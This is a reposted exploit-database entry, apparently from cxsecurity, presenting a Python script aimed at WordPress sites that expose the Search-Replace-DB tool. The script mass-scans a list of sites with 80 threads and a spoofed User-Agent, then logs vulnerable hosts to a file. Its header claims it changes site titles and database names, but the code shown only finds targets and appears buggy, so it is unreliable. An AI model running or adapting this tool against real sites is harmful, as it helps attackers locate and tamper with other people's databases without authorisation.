SRDB Wordpres Replace Title
2024-7-24 14:37:12 Author: cxsecurity.com(查看原文) 阅读量:4 收藏

SRDB Wordpres Replace Title

# Exploit Title : Wordpress Replace DataBase # Discovery : Demon King # Team : Ganest Seven # This bug changes the title and database name all # import requests import sys from multiprocessing.dummy import Pool from requests.packages.urllib3.exceptions import InsecureRequestWarning from colorama import Fore requests.packages.urllib3.disable_warnings(InsecureRequestWarning) listSite = sys.argv[1] op = [i.strip() for i in open(listSite, "r").readlines()] fr = '\033[91m' fc = '\033[96m' fw = '\033[0m' fg = '\033[92m' CYAN = '\033[96m' GREEN = '\033[92m' RED = '\033[91m' END = '\033[0m' headers = {"User-Agent": "Apache/2.4.34 (Ubuntu) OpenSSL/1.1.1 (internal dummy connection)", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"} def check(site): try: r = requests.get("http://" + site + "/Search-Replace-DB-master", headers=headers, timeout=5) ff = open("ignition.txt", "a+") if 'The GET method is not supported' in r.content: print("http://" + site + "/ -> SRDB!") ff.write("http://" + site + "/\n") else: print("http://" + site + " -> x") except: print("http://" + site + " -> BOSOK") kekw = Pool(80) #thread kekw.map(check, op) kekw.close() kekw.join()



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2024070044
如有侵权请联系:admin#unsafe.sh